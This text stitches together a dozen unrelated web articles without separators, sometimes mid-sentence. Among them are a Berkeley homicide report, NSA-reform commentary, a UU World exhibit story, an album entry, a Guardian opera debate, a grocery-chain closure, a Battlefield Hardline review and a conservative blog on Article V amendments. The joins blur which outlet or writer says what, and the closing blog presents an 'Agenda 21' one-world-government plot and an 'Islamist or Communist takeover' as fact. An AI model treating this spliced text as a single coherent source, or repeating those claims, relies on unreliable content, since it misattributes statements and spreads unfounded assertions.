Early Saturday morning, police remained on scene with the entire north side of the block between Florence and Regent streets cordoned off with caution tape. At least five yellow evidence markers could be seen along the sidewalk, and some officers walked in and out of a two-story home wearing booties and face masks. One officer began taking down much of the yellow tape at about 1:30 a.m., as a group of officers walked out of the house.
An Alameda County sheriff’s office van was also on the scene, along with a Berkeley Police Crime Scene Unit van. A white picket fence surrounded the home’s front yard, and signs saying “Not our president” and “We stand with Standing Rock” were mounted on the front window. Holiday decorations, including a wreath on the front door, white paper snowflakes, and red and green Christmas stockings, still adorned the living room.
According to a post on neighborhood social network Nextdoor by a woman who had spoken with the family, “The suspect knew his initial victim (the woman who is still alive). After attacking her, he went to the house on Ashby thinking that an old friend/acquaintance still lived there. She had moved out over a year ago but the unfortunate second victim (who was killed) was there, studying.… She answered the door and the rest is history.”
Late Saturday afternoon, police announced the arrest of 22-year-old Pablo Gomez Jr., a Berkeley resident and UC Berkeley student. Burbank police told Berkeley investigators Gomez Jr. was in their custody and would be booked into the Los Angeles County jail system. Gomez Jr., 22, is being held without bail at the Twin Towers Correctional Facility in Los Angeles.
Authorities ask anyone with information about the case to call the Berkeley Police Department at 510-981-5741.
Related:
Suspect in custody after Berkeley homicide, stabbing (01.07.17)
Police hunt for armed and dangerous Berkeley suspect after homicide, stabbing (01.06.17)
Woman missing after stabbing that sent 1 to hospital (01.06.17)
Update: Young woman stabbed; police search for suspect (01.06.17)
Support independent local journalism by becoming a Berkeleyside member.If you or a loved one is having a heart attack, your most pressing concerns probably include how quickly you can get to the hospital and the quality of care you’ll receive. You’re probably not thinking about the hospital’s board room, even though quality of care for heart attacks and many other conditions may be determined in large part by decisions made there.
Several studies show that hospital boards can improve quality and can make decisions associated with reduced mortality rates. But not all boards do so.
”Most board members are community leaders, serving on the board to support fund-raising goals,” said Ashish Jha, a Harvard physician. “They don’t think it’s their job to hold management accountable for performance. Board members often feel like clinical quality is physicians’ jobs, and they don’t want to step on doctors’ toes.”
The trouble with this perspective is that boards, and other hospital management, can influence care in ways that individual physicians cannot. They can promote protocols that ensure that crucial information is conveyed to the right people at the right time. They can establish systems so that equipment and supplies are available when needed. They can set expectations for a culture of high performance, not just from individuals but from teams of them that must work together. And they can require quality to be monitored against goals with incentives to push it toward those targets.After months of inaction – and worries that real change at the National Security Agency was indefinitely stalled – there was a flurry of action in Congress this week on the most promising NSA reform bill, as the USA Freedom Act unanimously passed out of the House Judiciary Committee and then, surprisingly, out of the Intelligence Committee, too. Only its movement came at a price: the bill is now much weaker than it was before.
What would the legislation actually do? Well, for one, it would take the giant phone records database out of the NSA's hands and put it into those of the telecom companies, and force judicial review. Importantly, it doesn't categorically make anything worse – like the House Intel bill pushed by Rep Mike Rogers would have – and it would at least end the phone records program as it exists today, while making things a little bit better for transparency.
However, anytime Rogers calls a bill "a great improvement", anyone who values privacy should be worries. The transparency section of the bill doesn't require nearly as much disclosure as it did previously, and there's no longer a full-time privacy advocate for the Fisa court in there – only the chance for outsiders to submit legal briefs. Plus, the "mandatory" declassification of Fisa court opinions now only "encourages" the executive branch to be forthcoming – a policy which the ace surveillance-law analyst Marcy Wheeler described as follows: "it only releases opinions if Edward Snowden comes along and leaks them."
Reactions to the new bill from NSA reform supporters have been mixed. Both the Electronic Frontier Foundation (EFF) and American Civil Liberties Union called it a positive step, but emphasized how much still needs to be fixed. Wheeler was more cynical in her analysis, suggesting it may be just as bad as the Intel bill that was so universally panned by national security watchers. But Kevin Bankston, the longtime surveillance reform crusader and policy director at the Open Tech Institute, explained the predicament well:
Kevin Bankston (@KevinBankston) Some say, "How good can it be if the intel committee passed it?" I say, "This is what victory looks like." They had no choice. We beat them.
The bill is also far from a done deal; it can still get improved on the floor. If tech companies are serious about forcing NSA reform, then now is the time for them to step up lobbying efforts and prove that their public comments about changing surveillance laws amount to something more than a well orchestrated PR campaign.
But the battle to retake our privacy can't be won in the halls of Congress alone. Even the original version of the USA Freedom Act didn't do anything about the NSA's subversion of common encryption. It didn't address the stockpiling of zero-day vulnerabilities that puts internet security at risk. It didn't offer any privacy protections to 95% of the world that doesn't live in the United States. And given the NSA's unique talent for distorting the plain meaning of the English language (in fact, they seem to have created an entirely secret, bizarro dictionary of its own), it's always possible the agency will find a way to subvert the will of the people it allegedly serves.
This is the primary reason why a host of public-interest groups launched something called Reset the Net last week. The campaign calls for major websites and the general public to widely adopt end-to-end encryption tools to stem the ability of the NSA – or any other intelligence agency – to conduct mass surveillance, regardless of what our laws look like. The campaign will culminate on 5 June – the one-year anniversary of the Snowden disclosures – with a giant online push to get ordinary internet users signed up and using the tools that are so critical to keeping our information private online.
The chance to challenge the government's secret surveillance tactics has never been stronger on the judicial front either. Two cases brought by the EFF (my former employer) have been flying under the radar – at least compared to the more high-profile cases challenging the NSA's phone records program – and will soon take on added significance.
First, and important appeal is set to be heard this summer over the government's use of National Security Letters, and oversight-free mechanism which the FBI has used to force internet service providers with no judicial review whatsoever. Last March, in an enormous win for privacy and free speech advocates, a federal judge ruled the entire National Security Letters statute unconstitutional. Given there are thousands of oversight-free letters issued for personal information every year with a gag order attached (the ruling is on hold until the Court of Appeals rules on the case), winning this fight would appear to be at least as crucial for our privacy as passing the USA Freedom Act.
EFF's long running case challenging dragnet spying, Jewel v NSA, which deals with the larger issue of the NSA accessing entire internet streams of telecommunications companies like AT&T without a warrant, is also set to heat up this summer. This is the crux of the NSA's mass surveillance program directed at the internet, which the government refused to acknowledge even existed until Snowden's revelations confirmed "upstream" surveillance last year.
Plus, since the Snowden disclosures forced the government to admit to criminal defendants when they have been wiretapped without a warrant, the constitutionality of the Fisa Amendments Act may finally have its day in court. The strengthening of international treaties and surveillance laws could also eventually bear real fruit for those outside the US.
Of course, none of this kind of reform was ever going to get decided in a day, or even a year. At the recent premiere of the new documentary 1971, which examines the formerly anonymous burglars who uncovered J Edgar Hoover's illegal surveillance campaign, and whose actions led to the Church Committee, its subjects reminded the audience that their disclosures didn't result in significant change... for five years. But thanks to the relentlessness of reform advocates, we all got reform that lasted decades. It is, they said, now up to the public to persevere once more.Photography exhibit focuses on lesbian life in Deep South
Photography exhibit focuses on lesbian life in Deep South
UU World Magazine, published by the Unitarian Universalist Association
Four Unitarian Universalist families are included in a groundbreaking photo exhibit on lesbian couples at the Birmingham Civil Rights Institute in Alabama.
The exhibit, “Living in Limbo: Lesbian Families in the Deep South,” marks one of the first times that lesbians have been the subject of an exhibit in a prominent museum in the South, said the Rev. Nan White, minister of the UU Fellowship of Beaufort, S.C.
White, who grew up in Birmingham and was ordained there as a Presbyterian minister before eventually becoming a Unitarian Universalist, is included in the exhibit with her wife, Sam Ballenger.
The exhibit grew out of an unfortunate experience that a friend of White’s had. As the friend’s lesbian partner lay dying in a hospital, the friend was locked out of their house by her partner’s biological family. To this day she has not been able to enter the house where she and her partner cared for the partner’s elderly mother.
Then, after touring the Birmingham institute in 2009 and being disappointed by the lack of any information about LGBT rights, White had a conversation with a longtime friend, photographer Carolyn Sherer. The discussion led Sherer to create a photo exhibit on lesbians in the South and then approach the museum about hosting it.
The museum agreed. Sherer’s exhibit of 40 photos of lesbian couples opened March 30 and will run until June 11. White attended the opening. “It was very moving. It touched us very deeply. The museum director said the exhibit was way past due and that they were thrilled and honored to do it.”
The exhibit is meant to encourage dialogue about inclusion and equality in Birmingham, a city where some of the greatest violence occurred during the civil rights movement. Museum president Lawrence J. Pijeaux Jr. told the Associated Press on March 29 that he’d received 125 emails in support of the exhibit and only one complaint.
“The BCRI took a risk with this,” said Sherer. “I hope its success will be an incentive for other civil rights institutions to recognize the justice and power of inclusive partnerships with the LGBT community.” She also warned against any assumption that anti-lesbian prejudice is a problem only for the South to solve. “It might be easy to avoid looking in one’s backyard if the assumption is that this is a southern problem.”
Among the families pictured are Hanne Harbison and Anna Koopman, both nurse practitioners and members of the UU Church of Birmingham. They were photographed with their baby son, Amon. Harbison, who works at the University of Alabama, said, “I’m hoping many people come to see the exhibit and come away with a more open and positive view of lesbian families. I see this as an important step in our community’s journey toward equality, both legally and socially.”
Koopman added, “Being in the exhibit is exhilarating, just extraordinary. This felt like a great opportunity to us. The opening had one of the most diverse gatherings I’ve seen here in Birmingham. It’s definitely another level of being visible. I’m proud to be part of this.”
Kay Emfinger is also pictured, along with her partner, who asked that she not be identified, and their teenage daughter, Elli. They, like seven other couples, chose to be photographed with their backs to the camera. Elli told Weld, a local news and entertainment magazine, it meant a lot to have her family linked to the civil rights movement by its inclusion in the photo exhibit. “So many people go there,” Elli says. “When you think of the civil rights movement, you think of African Americans gaining their rights, but now my family will be a part of something shown there. You see that civil rights isn’t only a black-and-white issue, but an issue for all kinds of people.”
Sylvia Martin and Maria Calhoun, also from the Birmingham congregation, were photographed with Calhoun’s 10-year-old daughter, Lucia. “When Carolyn asked us we said yes, and then as time went on I started feeling a little freaked out about being on display,” said Martin. “I’m a private person. Then I got over it. The opening was lots of fun. It was good for us as a family to be up there together.”
The Rev. Lone Broussard is minister of the UU Church of Birmingham. “We’re really proud to have three couples in the exhibition. It took courage to be photographed. I was a little sad that so many of those who were photographed had to turn their backs to the camera, but that in itself is a powerful statement. Mostly that’s from a fear of losing jobs. That’s just the way it is.”
Broussard said the exhibit will help to reinforce the congregation’s place in the community as a civil rights advocate. “Some people here might call us a bit radical, but they respect us.”
White and Broussard were also members of an interfaith panel on April 21. Called “For the Bible Tells Me So,” it was a discussion at the institute about religion and homosexuality.
Sherer added that while the exhibit focuses on the South, the need for recognition of LGBT families is wider than that. “I met a visitor at the exhibit who was a minister in Massachusetts. He was very moved by the work and said that even in the liberal Northeast he and his longtime partner had not had an easy time.” Sherer said conversations are under way to create a traveling exhibit from the show.
Annette Marquis, district executive of the Unitarian Universalist Association’s Southeast District, remembers visiting the Birmingham institute for the first time in 2006 as part of a tour of Southern civil rights landmarks organized by the Rev. Gordon and Judy Gibson. “I was so taken by the incredible courage and strength of the civil rights movement veterans and the horrible abuses African Americans had endured.” And yet, nowhere in the museum was there any reference to the civil rights of LGBT people.
“As a lesbian, I felt at best, invisible, and at worst, reviled. So being there for the opening of Living in Limbo was incredibly healing for me. It was a recognition by one of the most recognized civil rights institutions in the country that all rights are important and that no discrimination can be tolerated.
“I think all Unitarian Universalists can take heart when we are feeling the work we are doing isn’t making a difference. If the Civil Rights Institute in Birmingham, Alabama, is willing to make lesbian families visible, there are fewer and fewer places left where any of us have to hide,” Marquis said.
The civil rights tour that she was a part of in 2006 is now an annual event: the Unitarian Universalist Living Legacy Pilgrimage. Marquis is a coordinator of it. She notes that several years ago the tour added the Southern Poverty Law Center in Montgomery, Ala., to its itinerary in part because the center works to end discrimination against all people, including those who are LGBT. The next Civil Rights Pilgrimage will be Oct. 6-13, 2012.
An abridged version of this article appeared in the Fall 2012 issue of UU World (“Photos focus on lesbians in Deep South,” page 38).
Related Resources1997 studio album by The Eraserheads
Professional ratings Review scores Source Rating Allmusic link
Sticker Happy is the Eraserheads' fifth album, released by BMG Records (Pilipinas), Inc. in 1997. At the time, the album cover courted a healthy amount of controversy as to the identity of the nude woman playing an upright piano in the middle of a field (later revealed to be then-Channel [V] VJ Joey Mead).
Musically, the album is heavier as the band brought to the fore various guitar effects purchased during their New York visit. Although still retaining the signature "E-Heads" sound, 'Sticker Happy' is very much influenced by mid-1990s techno and also featured a heavy amount of sampling, most notable on the tracks "Maalalahanin", "Downtown" and "Everything They Say".
Track listing [ edit ]
No. Title Length 1. "Prologue" 0:27 2. "Futuristic" 2:51 3. "Kaliwete" 3:07 4. "Milk and Money" 4:41 5. "Bogchi Hokbu" 4:18 6. "Maalalahanin" 3:13 7. "Balikbayan Box" 5:13 8. "Andalusian Dog" 5:01 9. "Ha Ha Ha" 4:42 10. "Downtown" 4:31 11. "Kananete" 3:17 12. "Hard to Believe" 3:31 13. "Everything They Say" 3:54 14. "Spoliarium" 5:26 15. "Ambi Dextrose" 4:56 16. "Para Sa Masa" 4:57 17. "Sticker Happy" 2:29 18. "Tapsilogue" 0:39
Reception [ edit ]
David Gonzales of the website AllMusic gave Sticker Happy three out of five stars. said that while the album is not "as enjoyable nor the melodies as uniformly strong as on Cutterpillow, which remains the band's best album. Sticker Happy has its fine moments."[1]
In a retrospective review for Bandwagon Asia, music critic Jason Caballa (who also became Raimund Marisgan's band mate in Pedicab), ranked Sticker Happy as Erasheads' second best album. "Sticker Happy is one of the ‘Heads’ most consistent releases, listenable from beginning to end. Aces are dropped all throughout the record: 'Kaliwete', 'Milk and Money', 'Balikbayan Box', 'Andalusian Dog', 'Hard to Believe', and the sublime 'Spoliarium'," Caballa stated in the article.[2]
In popular culture [ edit ]
An urban legend popular among fans alleges that the song Spoliarium, one of the album's tracks, is a reference to the Pepsi Paloma rape case. [3]A coalition of Palestinian and Mexican advocacy groups launched the #WorldWithoutWalls Global Day of Action on Thursday, the anniversary of the fall of the Berlin Wall, to "unite against the global proliferation of walls," which they say serve as "monuments of expulsion, exclusion, oppression, discrimination, and exploitation."
On a webpage dedicated to day of action, Stop the Wall—which is spearheading the effort—features a call to action that describes how nations worldwide contruct barriers to control people. The statement includes signatories representing more than 370 organizations from some 30 countries, and says, in part:
From Israel's apartheid Wall on Palestinian land to the U.S. Wall of Shame on indigenous land at the border with Mexico—almost 70 walls across all continents are today ripping through people's lives and lands as they fortify often unilaterally defined borders or limits of state control. They cause thousands of deaths every year and destroy means of livelihoods and hope for many more. They are monuments of expulsion, exclusion, oppression, discrimination, and exploitation.... From India, to Saudi Arabia, to Turkey, Western Sahara, and Europe, today, the number of walls designed to forcibly define and seal borders has almost tripled over the last two decades. These walls bar the right to freedom of movement and self-determination. They have become are cornerstones in a world where wars, militarization, and exclusion are to substitute justice, freedom, and equality.
Stop the Wall primarily advocates against the barrier erected by the Israeli government along and within the West Bank—often called the "apartheid wall" by critics. U.S. President Donald Trump's continuous calls for the federal government to build up a wall along the U.S.-Mexico border has drawn comparisons to the wall in the West Bank.
"In particular over the last year, we have seen a global rise of racist, repressive, exclusionary, and supremacist ideologies," Jamal Juma', an activist with Stop the Wall, said in a statement. "Governments are developing and expanding with ever more freedom policies that criminalize and kill migrants, poor people, all those that are not of the dominant color, religion, caste, race, gender or sexual orientation as well as all those that stand in the way of the profits of the powerful."
"When people chant 'From Palestine to Mexico, all the walls have to go,' it's not just a slogan. It is a shared reality of colonization and corporate exploitation, and a shared struggle for collective liberation."
—Anna Baltzer,
U.S. Campaign for Palestinian Rights
"Israel has been a key actor in a new global era of walls and the day of action has expanded the discourse around Israel's role in repression, surveillance, and militarization worldwide," Anna Baltzer, director of organizing and advocacy at the U.S. Campaign for Palestinian Rights, one of the groups supporting the day of action, told Common Dreams.
"For instance, Israeli companies are profiting off, and bidding on contracts for, the U.S.-Mexico wall, using technology they have developed for Israel's apartheid wall," Baltzer noted. "So when people chant 'From Palestine to Mexico, all the walls have to go,' it's not just a slogan. It is a shared reality of colonization and corporate exploitation, and a shared struggle for collective liberation."
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The advocacy groups have compiled an interactive map to track demonstrations and movements taking place as part of Thursday's day of action, and several supporters and journalists from across the globe have posted photos on social media to document the actions.After Steinhafel's August 5 letter, Target's Political Action Committee, helmed by the former right hand of Senator Thune, Matt Zabel, recorded $41,200 in federal election activity. Of that total, $31,200 went to anti-gay rights politicians or PACs supporting those candidates.
Supporters of gay equality did get some money. In September, Target PAC gave $1,000 to Chuck Schumer. It also sent a whole $500 to Keith Ellison, the Minnesota Congressman that anti-gay leader Bradley Dean accuses of supporting LGBT rights as a way to bring Sharia law to America.
But donations such as $1,000 to Kelly Ayotte (reported on September 22), who resigned her state post in protest of the legalization of gay marriage and same sex adoption, are far more the norm.
That same day, there is a record of a donation by Target PAC to Spencer Bachus, who voted to ban same-sex adoption. Michigan's David Camp, who, in addition to supporting a Constitutional Amendment banning same-sex marriage, voted against protecting gays from job discrimination based on sexual orientation, also reported money. Through October, Target PAC thousands of dollars in donations were recorded to Michael Crapo and Dave Reichert, both supporters of anti-gay Constitutional amendments, and Rob Portman, a supporter of banning gays from adopting. Portman's position on other gay rights won't surprise. On October 4, a donation was reported: $2,000 to David Dreier, whose position on gay rights is quite a bit of theatre.Stephen Moss: You've got to find it for yourself
I have a childhood memory of an eccentric woman on the estate on which I lived once playing the Blue Danube Waltz very loudly. I must have been about 14, hanging about near her flat, and remember that, for me and the boys I was with, her taste in music was confirmation of her strangeness.
Until I was 21 I had no interest in classical music. Harriet Harman, the shadow culture secretary, would say I was deprived. In a speech today at the ever-so-trendy-and-inclusive Roundhouse in Camden, north London, she warns of the danger of "a generation of young people with no meaningful exposure to arts and culture". Harman is doing two things here: bashing the coalition for cuts in arts education, but also attacking arts organisations for not doing enough to attract the young.
Covent Garden gets it in the neck. "Even from the cheapest seats in the house, I couldn't see in the audience anyone who wasn't like myself: white, metropolitan and middle class," she complains of a recent visit. The poor old Proms cops it, too, despite its rampant popularisation in recent years with Dr Who proms, proms based around film music and endless events for kids.
Now, maybe she is right about arts education. But her point about making classical/serious music (the term we should use remains problematic) available to the young is misplaced. This sort of music, like much of education itself, is wasted on the young. Early exposure to, say, Mozart's operas or the symphonies of Haydn will do more harm than good. Save it for later. "Outreach" is just a box-ticking fetish; a hoop that every Arts Council-dependent music group now has to go through.
Ruby Philogene as Eurydice, in Orfeo, produced by English National Opera at the Coliseum. Photograph: Tristram Kenton
My own conversion came in a blinding flash. I shared a house in my early 20s with an Italian who, being Italian, was highly cultured. One morning, while leaving the house, I heard the strident opening bars of Brahms's Third Symphony calling me back. It was the beginning of a lifelong interest, but more than 30 years later I have barely scratched the surface. The operas of Mozart still elude me, and I would do anything to avoid a performance of The Marriage of Figaro.
Harman makes the mistake of thinking opera and classical music are inherently good things that everyone should be exposed to. Opera houses and concert halls similarly fret about their greying audiences. Peter Gelb, general manager of the Metropolitan Opera house in New York, has even declared opera to be dying, so ancient is its audience. The cavernous Met offers such a naff audience experience that its death would be welcome. But opera as a genre isn't going to die. Covent Garden is white and plutocratic because the seat prices are outrageous. Only bankers can afford stalls seats at £200-plus. But you can plug into a performance of Monteverdi's Orfeo, the first opera and the greatest, free on YouTube. Access all arias.
So should we, as Harman recommends, take lots of 14-year-olds to see a performance of Orfeo? Maybe, though I suspect they'd be bored out of their heads. The arts only start to make sense when you put the pieces together, which is why getting any coherent sense of opera or classical music or serious drama takes years.
Culture is for everyone. Thanks to the internet, it is now freely and easily available. If you want to find it, you will, though it may take a lifetime to work out what it all means and what really matters. Dipping in courtesy of well-meaning outreach programmes doesn't work and may well be counterproductive. And if you never find it – if you fail to realise that the late quartets of Beethoven are the greatest musical statement of all time and still the most modern pieces of music ever written – no lives have been lost. It's only art.
Bonnie Greer: Left to those who 'get it', opera will die
Mike Henry in Yes, by Errollyn Wallen and Bonnie Greer, at the Linbury Studio in the Royal Opera House. Photograph: Tristram Kenton
I wouldn't have accepted board appointments to the British Museum; the Royal Opera House, Covent Garden; the Serpentine Gallery; the presidency of the Brontë Society; and now a seat on the cultural board of the first world war commemoration, if I didn't believe not only that culture belongs to all, but also that there is a duty in a democratic society to make it accessible to all, too.
When I wrote the libretto for the composer Errolyn Wallen's short opera Yes for the Royal Opera House's Linbury Theatre my aim – and the aim of ROH2, the house's experimental arm – was to extend the notion of "opera"; of "classical" itself.
Yes, based on my Question Time appearance with Nick Griffin, was and is quite simply an experiment, an attempt, a deliberate provocation to the idea of what opera is. It wasn't meant to "succeed", but to talk to the audience it was written for: young people for whom the word "opera" is worse then vile; ethnic minorities who would never have ventured into The House; and just plain folks who might want to see how something they saw on TV just might be turned into whatever the hell opera is. If they had had the opportunity to be there, instead of the legacy critics and the traditional opera audience who largely came because it was at the Royal Opera House, this work's fate might have been different instead of the ad hominem attacks it got. Somebody said to me: "Hey, that's 'opera world'."
If it is, the art form's in deep trouble.
Opera, the theatre, dance, painting and sculpture, writing, music – all of it cannot be the domain of mink coats and pearls, top hats and tails, landlocked critics and the cognoscenti – those who "get it". Why? Simple. Because if it's left to them, it will die.
In my new memoir: A Parallel Life, I chronicle the attempt of a young black woman in Chicago to put on my play, to create theatre in an environment – in a city – that did not support the notion back in the late 1970s that theatre belonged to the people she wanted to serve. She inspired me to go on to teach Shakespeare – not a watered-down version, not a "hip" version but the bard's words themselves – to kids who were told that Shakespeare was not for them. They got him. And it changed their lives. I saw it: in New York's Harlem and in London's Brixton.
The beauty of our public funding system – getting smaller every day – is that we are not beholden to "the prince".
"The prince" – the modern Medici – is the root of the American funding system in which well-meaning philanthropists – the rich and the powerful – "choose" you. They choose you because you mean something to them or to their cause. We're not there yet here in the UK, |
my vantage point, NAPLAN definitely exacerbates this. The pressure to have children up to speed by Year 3 reaches down through the early years of school (even to Kindergarten or Prep) where the focus is heavily skewed towards literacy and numeracy. Of course reading, writing and numeracy are vitally important but our research is finding that some other very important things are being crowded out in the process.
What could be more important than the “3 R’s”?
The most important component of quality learning that is now under threat is time to establish warm and positive teacher-student relationships. The more frantic the classroom, the more focused teachers are on the business of “learning”, the more superficial and fraught the relationships. And this is a problem, particularly for children with early learning and behavioural difficulties for whom those relationships might actually make the difference between engagement and disengagement.
My behaviour school research has taught me that the process of “hard-baking” is fuelled by resentment. There comes a point where pissed off young people decide that they’re going to get a bit of their own back, regardless of what it might cost them in the long run. Once they reach that stage, it is very hard to turn them around.
Building warm and positive relationships costs nothing in the scheme of things and little actions – regular conversation, a pat on the back, a smile, some extra help and a bit of recognition – could very well save connection to schooling for our most vulnerable students.
As my research teams prepare for the National Summit on Student Engagement, Learning and Behaviour being hosted at QUT this week, I have had much cause to think about the central message that I want the Summit to impart.
It’s this: if we have to measure things in order for them to matter, measure student-teacher relationships, school liking and school avoidance.
Find out how students feel about the place where they spend such a large part of their day and the strength of the relationships they have with the second most important adults in their lives.
This is something worth working on but it will never happen if all we measure and if all that counts are ABCs and 123s.
Linda Graham is Principal Research Fellow in the Faculty of Education, Queensland University of Technology (QUT). She is the Lead Chief Investigator of two longitudinal research projects focusing on disruptive behaviour. One examines the experiences of students enrolled in NSW government “behaviour” schools (Australian Research Council DP110103093), and another is tracking the language, learning, experiences, relationships, attitudes and behaviour of 250 QLD prep children through the early years of school (Financial Markets Foundation for Children FMF4C-2013). In 2014, she was elected Editor of the Australian Educational Researcher (AER) and serves as a member of the Australian Association for Research in Education (AARE) Executive Committee. The 2 day National Summit on Student Engagement, Learning and Behaviour begins Wednesday 8th of July.WOODBURY — The company that owns Bottom Dollar Food announced plans late Wednesday to sell their 66 stores to ALDI, Inc. ahead of closing up shop in the U.S. and shuttering their sites.
Bottom Dollar currently has 46 stores in the greater Philadelphia area and employs about 2,200 workers. Woodbury's location opened last July. The lights were on early Thursday morning at the Broad Street store, but nobody was home.
“This decision was difficult given the impact on our associates, customers and communities in which we operate,” Gene Faller, vice president of retail operations for Bottom Dollar Food, said in a statement on the company's website. “We want to thank our associates, customers and communities for their support over the past four years.”
A nine-hour job fair last year offering 60 part-time positions at the Woodbury location drew more than double that figure. Another Bottom Dollar in Glassboro — which replaced previous discount supermarket Food Basics — opened back in December 2011. Another local Bottom Dollar sits near the Cherry Hill Mall off Route 38.
"We look for opportunities where Bottom Dollar Food can serve local communities by meeting consumers' needs," a company spokesperson told the Times in 2011 ahead of the Glassboro site's opening.
The $15 million move, according to local media reports, is aimed at Delhaize Group's strategy of focusing on the "traditional" supermarket segment, according to the company.
Belgium-based Delhaize anticipates all 66 stores to stay open until year-end. The transaction announced Wednesday is expected to close during the first quarter of 2015.
After that, Bottom Dollar will close the stores and "retire the banner's operations," the company said, adding their plans to offer every employee with severance and "eligible associates" with other options.
since it's on the news I guess it's official: bottom dollar is closing all 66 stores in the beginning of January. I'm so sad and worried. — ashley (@ashhhverd) November 6, 2014
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Greg Adomaitis may be reached at gadomaitis@southjerseymedia.com. Follow him on Twitter @GregAdomaitis. Find the South Jersey Times on Facebook.Broken glass and the corpses of armed bodyguards litter a drug kingpin’s swanky pool house. Amid all the carnage, Nick Mendoza glances at his former partner and quips, “Well, at least we won’t have a lot of paperwork to do later.”
Such is the callousness of Mendoza, the Miami detective-turned-escaped-convict who ranks as the closest thing to a hero in Battlefield Hardline. Its writers have said the story was inspired by the hard-boiled crime fiction of Elmore Leonard, the self-described “poet laureate of wild assholes with guns,” whose novels always luxuriated in profane con men and wise guys. It shows. Crooked cops, self-interested criminals, and corrupt politicians and journalists all pollute the power structures of Hardline’s Miami like the slimy gunk that coats the surface of the swamps you boat through in an early level. It’s the equivalent of the autobiographical screenplay written by a skeevy loan shark in Leonard’s Get Shorty. In the book, B-movie producer Harry Zimm takes one read of the script and dismisses it. “There’s nobody to sympathize with. Who’s the good guy? You don’t have one.”
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Zimm isn’t the only one demanding the existence of good guys. EA’s decision to paint its entire fictional world of cops and criminals in a similar shade of murky gray comes at a discomfiting cultural moment—a moment when our politico-media complex often casts police and lawbreakers through a prism of absolute good or evil. Controversial events in real-life (the troubling deaths of African-American men in Ferguson and New York City) and questionable depictions in media (like the portrayal of Chris Kyle in American Sniper) have sparked an intense debate among the chattering classes on the moral nature of our men and women in uniform.
Here’s what Battlefield Hardline adds to this national conversation: nothing. The nuance in the story is not an act of bravery, but an accidental result of leaping out of the way of controversy and statement-making. Hardline so desperately wants to avoid any association with real-life that it frames the game to resemble a serialized television show—complete with a slick opening credits sequence and “previously on” and “next on” montages. It serves as another layer of distance between us and the action. You’re not playing as cops in a video game, see, you’re playing as actors in a cop drama inside a video game. On top of that, the TV show it emulates isn’t, say, The Wire but a contemporary Miami Vice minus the white blazers and New Wave soundtrack. The two share the south Florida setting and also a love for gratuitous shootouts and an attitude of cynical cool bordering on nihilism.
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The early part of the story follows Mendoza and his partner Khai as they traipse through shady warehouses and marshy wetlands to the top of a distribution ring dealing a new drug called Hot Shot. It’s not an easy task, as each new lead in the investigation comes with dozens of trigger-happy armed men. You’re free to shoot them with an array of weaponry, but the game nudges you toward arresting them with the promise of bonus points and new guns and accessories as a reward for non-lethal takedowns. (How’s that for irony? Good job not killing that guy. Now, here’s a new tool for killing guys!) It adds much-needed variety to encounters—forcing you to make strategic decisions about the best way to approach a guarded outpost—but it doesn’t draw the player closer to anything resembling real police work. Pursuing arrests over assassinations just turns Mendoza into a half-assed ninja who sneaks around and uses handcuffs as a tool of incapacitation instead of nunchucks.
Loyalties and roles twist and turn until it’s hard to tell the difference between police and the policed. No one is completely clean. Mendoza is double-crossed by rogue cops halfway through the game and loses both his badge and freedom. He busts out of custody with the help of an ex-con and teams up with a ragtag group of semi-sympathetic criminals (“Boomer,” we learn, can’t get an honest job because of his spotty military record) to take down the less-sympathetic criminals—the masterminds behind the drug trade and the police department’s corruption. The pretense of protecting and serving fades away as Mendoza and crew’s motivation becomes a personal revenge fantasy and the body count increases. You can almost feel Hardline trying to shake off the shackles of its contrived police procedural structure.
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But that straitjacket doesn’t come off completely until you switch to the multiplayer half of the game. This is Hardline at its best, when it accepts its own limits and doesn’t feign an interactive version of cop drama. These are the competitive team shoot-outs of Battlefield past—dressed up in blue uniforms and plainclothes instead of military fatigues—but with more compact maps and well-designed tweaks. The best addition is “Hotwire” mode, which turns the conventional “capture and hold a point” multiplayer setup on its head by choosing cars as the objectives. The only way to score points is for a team to drive like Keanu Reeves in Speed, cruising designated vehicles at a high speed for several seconds without slowing down. “Hotwire” is crafted in a way that continuously funnels players toward thrilling car chases and high-speed shoot-outs. There is no real sense of cops and robbers roles here, no moral calculation, just two equal teams indiscriminately shooting each other for points.
Some cultural critics have condemned Battlefield Hardline as distasteful entertainment. Against the backdrop of Ferguson, as the argument goes, inhabiting the role of a militarized police force that shoots (or handcuffs) first and asks questions later is troubling. But that’s giving this ridiculous fantasy more power and credit than it deserves. At its core, Hardline dodges the burden of social responsibility—reflecting contemporary law enforcement about as much as The Walking Dead realistically portrays life in rural Georgia. It borrows the cops and robbers theme and wears it like a cheap costume at a theme party. Battlefield Hardline doesn’t want to be a hero. It wants to be a toy. And despite what Harry Zimm might think, that’s okay.
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Battlefield Hardline
Developer: Visceral Games
Publisher: Electronic Arts
Platforms: PC, PlayStation 3, PlayStation 4, Xbox 360, Xbox One
Reviewed on: Xbox One
Price: $60
Rating: MHopefully, some of you already know about the recent book by Mark Levin, The Liberty Amendments: Restoring the American Republic. Some might have watched Levin's interview on "Hannity" on Fox News. I watched, and I had that "Eureka"! moment when I realized that it might still be possible to save our Constitution and America from being swallowed by the "One World Government" intended by the UN and publicized in its book or DVD "Agenda 21." I've been a Conservative activist for more than six years, and I didn't know that true Americans might have a chance to prevent the current corrupt Washington politicians from destroying all of what has made us "the shining city on the hill."
Please read the following blog that was on Tea Party Nation.com, and if you will, go to that conservative website and look for the blog: "Mark Levin might have something here." There is a 30 min. video of Levin discussing this possibility, and we need every state to join this States' Convention to do its part to save our freedoms and prevent this Islamist or Communist takeover. The last time I checked 26 States had already joined the battle, and we only need 2/3 of the States to call for a Constitutional Convention, and 3/4 (or 40) of the States to approve of any of the proposed Amendments for them to be added to our Constitution. The Founding Fathers gave the States this power in Article V of the Constitution, and there is nothing that the Federal government can do to stop it. Some of the most important Amendments would be to: (1) create Term Limits of two or three terms in office for every politician and judge in the country--from local townships to the Federal government (including all Supreme Courts), with no more than six months of pensions or insurance or golden parachutes (ending the reign of all career politicians); (2) a replacement of the IRS with the Flat tax or Fair tax, whichever one gives politicians the fewest politicians with the least control; (3) returning election of all Senators back to the States' control instead of Washington, DC control, to remind them that they report to the people, just as the House of Representatives do; (4) getting rid of the many corrupt alphabet Agencies and Departments, such as the EPA, the NSA, the FCC, the Federal Depts. of Education and Energy, the Clean Water agency and many more. And first on the list should be the repeal of ObamaCare and a new start on affordable health insurance that includes investigations of every party involved, as well as portable health insurance between states and jobs, Tort Reform, coverage for pre-existing conditions, and a cap on profits for all new drugs as well as current treatments.
